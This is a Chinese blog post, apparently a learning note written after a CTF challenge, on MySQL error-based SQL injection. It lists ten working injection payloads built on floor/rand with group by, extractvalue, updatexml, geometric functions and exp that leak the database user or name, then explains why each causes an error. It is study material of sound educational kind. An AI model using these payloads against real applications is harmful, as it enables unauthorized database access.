mysql中文注入_SQL注入之Mysql报错注入
——志向和熱愛(ài)是偉大行為的雙翼。
昨天偷懶了沒(méi)學(xué)什么東西,先自我反省一下 - -。
今天認(rèn)真的學(xué)習(xí)了一下Mysql報(bào)錯(cuò)注入利用方法及原理,好久之前就像認(rèn)真的學(xué)一下這個(gè)了,是在上海市大學(xué)生網(wǎng)絡(luò)安全大賽中遇到的web100。當(dāng)時(shí)懵逼狀態(tài),被學(xué)長(zhǎng)提醒了一下才知道是Mysql報(bào)錯(cuò)注入,因?yàn)橹耙恢倍紱](méi)接觸過(guò),所以當(dāng)時(shí)只是知道怎么用然后拿了flag。其實(shí)根本不知道什么原理怎么回事,直到今天才把一些常見(jiàn)的報(bào)錯(cuò)注入方法原理搞懂,所以寫篇博客來(lái)加深記憶以便后期會(huì)議。
首先,SQL有一下幾種:
1.UNION query SQL injection(可聯(lián)合查詢注入)
2.Boolean-based blind SQL injection(布爾型注入)
3.Error-based SQL injection(報(bào)錯(cuò)型注入)
4.Stacked queries SQL injection(可多語(yǔ)句查詢注入)
5.Time-based blind SQL injection(基于時(shí)間延遲注入)
今天我們說(shuō)的就是Mysql的報(bào)錯(cuò)注入(想了解其他的請(qǐng)移步這里),共有11中方法(最后一種不適用于老版本)。
1,floor() payload:
and select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2))--
2, extractvalue() payload:
and extractvalue(1,concat(0x7e,user(),0x7e))--
3, updatexml() payload:
and updatexml(1,concat(0x7e,(select user()),0x7e),1)--
4, geometrycollection() payload:
and geometrycollection((select * from(select * from(select user())a)b))--
5, multipoint() payload:
and multipoint((select * from(select * from(select user())a)b))--
6, polygon() payload:
and polygon((select * from(select * from(select user())a)b))--
7, multipolygon() payload:
and multipolygon((select * from(select * from(select user())a)b))--
8, linestring() payload:
and linestring((select * from(select * from(select user())a)b))--
9, multilinestring() payload:
and multilinestring((select * from(select * from(select user())a)b))--
10, exp() payload:
and exp(~(select * from(select user())a))--
11,基于Mysql的數(shù)據(jù)類型溢出(不適用于老版本的Mysql,5.5以后版本)
Mysql報(bào)錯(cuò)注入原理分析(count()、rand()、group by):
基本上一下午都耗在這里了,因?yàn)閷?shí)在不是很容易懂,其實(shí)也不是,只是開(kāi)始的時(shí)候浪費(fèi)了很長(zhǎng)時(shí)間在一些講的不透徹的資料上,接下來(lái)我就說(shuō)一下我自己的理解。
我們先來(lái)了解一下這三個(gè)函數(shù)的作用:
count():統(tǒng)計(jì)有select語(yǔ)句返回的記錄。
rand():隨機(jī)生成0-1之間的浮點(diǎn)數(shù)? rand()*2就是0-2之間的浮點(diǎn)數(shù)
group by:用于結(jié)合合計(jì)函數(shù),根據(jù)一個(gè)或多個(gè)列對(duì)結(jié)果集進(jìn)行分組。不懂的話具體例子看這里:GROUP BY
另外? floor()函數(shù)是取整的意思。
我們使數(shù)據(jù)庫(kù)報(bào)錯(cuò)的payload有兩種? 1. and select concat(*) from information_schema.tables group by concat(database(),floor(rand(0)*2))--
2. and select concat(*) from information_schema.tables group by concat(database(),floor(rand()*2))--
這兩個(gè)語(yǔ)法的區(qū)別在于 rand()函數(shù)有沒(méi)有隨機(jī)因子0,有隨機(jī)因子的payload必定報(bào)錯(cuò)(因?yàn)橛须S機(jī)因子的語(yǔ)句生成的值固定——有規(guī)律),而沒(méi)有隨機(jī)因子的payload隨機(jī)報(bào)錯(cuò)(隨機(jī)生成值,無(wú)規(guī)律)。
原理:
當(dāng)MySQL數(shù)據(jù)庫(kù)執(zhí)行該語(yǔ)句的時(shí)候會(huì)建立一個(gè)虛擬表,表中有主鍵key和count(*)。當(dāng)從數(shù)據(jù)庫(kù)提取數(shù)據(jù)時(shí),執(zhí)行一次payload,提取的值為0,接下來(lái)會(huì)訪問(wèn)虛擬表檢查是否存在0,因?yàn)槲覀冞@是第一次執(zhí)行,所以表中不存在數(shù)據(jù),所以我們將數(shù)據(jù)插進(jìn)虛擬表中,這時(shí)又執(zhí)行了一次payload,這次的值為1,所以向虛擬表中插入key:1,count(*):1。接下來(lái)第二次提取數(shù)據(jù),執(zhí)行payload獲得數(shù)據(jù)1,再次查詢虛擬表,存在1,所以直接count(*)+1,這時(shí)我們已經(jīng)執(zhí)行了三次payload,繼續(xù)第三次提取數(shù)據(jù),執(zhí)行語(yǔ)句,得到數(shù)據(jù)0,查詢虛擬表中不存在0,所以向虛擬表中插入數(shù)據(jù),執(zhí)行payload得到1,插入表中,而虛擬表中此刻為: key:1,count(*):2。由于1已經(jīng)存在,繼續(xù)向數(shù)據(jù)表中插入1導(dǎo)致報(bào)錯(cuò)。其實(shí)簡(jiǎn)單來(lái)說(shuō),導(dǎo)致報(bào)錯(cuò)的原因就是數(shù)據(jù)庫(kù)中主鍵的不可重復(fù)性。
這就是為什么有隨機(jī)因子的payload在數(shù)據(jù)庫(kù)表大于3的情況下一定會(huì)報(bào)錯(cuò),而另一個(gè)隨機(jī)報(bào)錯(cuò)。我建議自己安裝一個(gè)MySQL,然后在命令行下試一試這幾個(gè)函數(shù)的效果,非常有助于理解。不是很好理解,如果本片文章不能讓你看懂的話,可以移步這里,我也是在這篇博客的教導(dǎo)下自己在虛擬機(jī)中實(shí)踐學(xué)懂的,沒(méi)那么難理解。
XML查詢函數(shù)報(bào)錯(cuò)原理(extractvalue,updatexml):
這兩個(gè)函數(shù)報(bào)錯(cuò)的原理其實(shí)都是一樣的,因?yàn)楹瘮?shù)的第二個(gè)參數(shù)要求為Xpath 的string格式,而我們用concat函數(shù)生成的是連接的字符串,因此報(bào)錯(cuò)。
UPDATEXML (XML_document, XPath_string, new_value);
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱,文中為Doc
第二個(gè)參數(shù):XPath_string (Xpath格式的字符串) ,如果不了解Xpath語(yǔ)法,可以在網(wǎng)上查找教程。
第三個(gè)參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)
作用:改變文檔中符合條件的節(jié)點(diǎn)的值
extractvalue函數(shù)同理。
本文主要說(shuō)了前三種報(bào)錯(cuò)注入的方法和原理,其余的因?yàn)槲視簳r(shí)還沒(méi)遇到 感覺(jué)并不常用所以以后遇到的時(shí)候在補(bǔ)回來(lái),如果對(duì)其他的報(bào)錯(cuò)注入有興趣可以點(diǎn)這里。
最后希望自己在這條路上繼續(xù)堅(jiān)持下去,保持熱情,路途遙遠(yuǎn)且行且珍惜,共勉。
總結(jié)
以上是生活随笔為你收集整理的mysql中文注入_SQL注入之Mysql报错注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 安装百分之80卡住_关注丨男子翻越高铁站
- 下一篇: linux 访问共享内存,Linux下的